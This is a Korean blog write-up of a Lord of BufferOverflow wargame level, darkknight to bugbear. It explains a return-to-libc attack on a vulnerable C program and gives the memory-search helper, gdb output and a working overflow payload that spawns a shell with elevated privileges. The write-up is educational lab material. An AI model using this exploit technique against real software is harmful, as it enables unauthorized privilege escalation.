2017. 11. 17. 13:20ㆍSystemHacking/LOB(BOF원정대)
darkknight / new attacker
[darkknight@localhost darkknight]$ /bin/bash2
[darkknight@localhost darkknight]$ export SHELL=/bin/bash2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | - RTL1 */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] == '\xbf') { printf("stack betrayed you!!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } | cs |
이전 게시글에서 공부했던 Return To Library ( RTL ) 의 개념을 이용하여 문제를 해결하도록 하겠습니다
쉘을 얻기 위해서 system() 함수를 사용할 것이고, 인자로는 " /bin/sh " 를 사용하도록 하겠습니다
" /bin/sh " 를 오버플로우 시켜서 직접 스택에 입력하는 방법도 가능하고, 메모리 상에 존재하는 " /bin/sh " 문자열의 주소를 알아내어 사용하는 방법도 가능합니다
직접 스택에 입력하는 방법은 조금 번거로운 주소 보정작업이 필요하기 때문에 메모리 상의 /bin/sh 을 찾아 사용하겠습니다
[ 메모리 상의 /bin/sh 주소 확인 ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | #include <stdio.h> int main (int argc, char* argv[]) { long shell; shell = 0x40058ae0; while(memcmp((void *) shell, "/bin/sh", 8)) { shell++; } printf("\"/bin/sh\" is at 0x%x\n", shell); printf("printf %s\n",shell); return 0; } | cs |
[darkknight@localhost /tmp]$ ./find
"/bin/sh" is at 0x400fbff9 <-- 메모리 상에 위치한 "/bin/sh" 의 주소
printf /bin/sh
< 풀이 과정 >
1. 사용할 system()함수의 주소를 알아내야한다
2. 오버플로우 시켜서 리턴 주소를 system()함수로 변조한다
3. system()함수의 인자로 /bin/sh가 위치한 주소를 입력한다
1. system() 함수의 주소 ( gdb를 통해 알아낸다 ( p or disassemble ) )
[darkknight@localhost darkknight]$ cp bugbear bugbear.cp
[darkknight@localhost darkknight]$ gdb -q bugbear.cp
(gdb) set disassembly-flavor intel
(gdb) run a
Starting program: /home/darkknight/bugbear.cp a
a
Program exited with code 02.
(gdb) p system
Cannot access memory at address 0x40058ae0
(gdb) disas system
Dump of assembler code for function __libc_system:
0x40058ae0 <__libc_system>: Cannot access memory at address 0x40058ae0
2. Overflow !
[ Stack 구조 ]
i
buffer 40byte
saved ebp 4byte
saved eip RET <-- &system()
argc
argv[0]
3. system()함수에 인자 입력
main함수의 에필로그 과정에서 pop eip에 의해 saved eip에 저장된 system()함수가 실행된다
system()함수에 인자를 추가하려면 스택의 어느 부분에 인자를 저장해 두어야 하는가 ?
함수를 호출하는 경우를 생각해보자 ( call funtion = push eip + jmp &function )
그리고 함수의 프롤로그 부분이 시작되면 스택의 구조는 [ saved ebp ] - [ saved eip ] - .... 가 되러이다
해당 함수는 인자를 사용할 때 saved eip 다음부터 순서대로 필요한 인자만큼 인자로 사용한다
[ saved ebp ] [ saved eip ] [ argv1 ] = ebp + 8 [ argv2 ] = ebp + 12 |
함수 호출시 ebp+8 지점을 첫 인자로 사용하는 규칙이 있다
따라서 오버플로우를 통해서 ebp + 8 지점에 " /bin/sh " 문자열의 주소를 입력해주면 된다
[ Stack 구조 ]
i
buffer 40byte
saved ebp 4byte
saved eip RET
argc XXXX
argv[0] &/bin/sh
[ payload 작성 ]
&system() : 0x40058ae0
&/bin/sh : 0x400fbff9
[darkknight@localhost darkknight]$ ./bugbear $(python -c 'print "A" * 44 + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒@AAAA▒@
bash$ id
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
bash$ my-pass
euid = 513
new divide
bash$ whoami
bugbear
bash$
RTL이 이해가 안된다면 이전 게시글에 RTL의 개념과 기본 예제를 설명해두었습니다. 참고하시기 바랍니다
'SystemHacking > LOB(BOF원정대)' 카테고리의 다른 글
[15] giant -> assassin ( Data Section ( leave & ret ) ) (0) | 2017.11.20 |
---|---|
[14] bugbear -> giant ( RTL , execve ) (0) | 2017.11.20 |
RTL 공격기법 원리 이해하기 예제 ( Omega Project ) (0) | 2017.11.17 |
[12] golem -> darkknight ( Frame Pointer Overflow ) (0) | 2017.11.17 |
[11] skeleton -> golem [ Hooking & LD_PREROAD ] (0) | 2017.11.17 |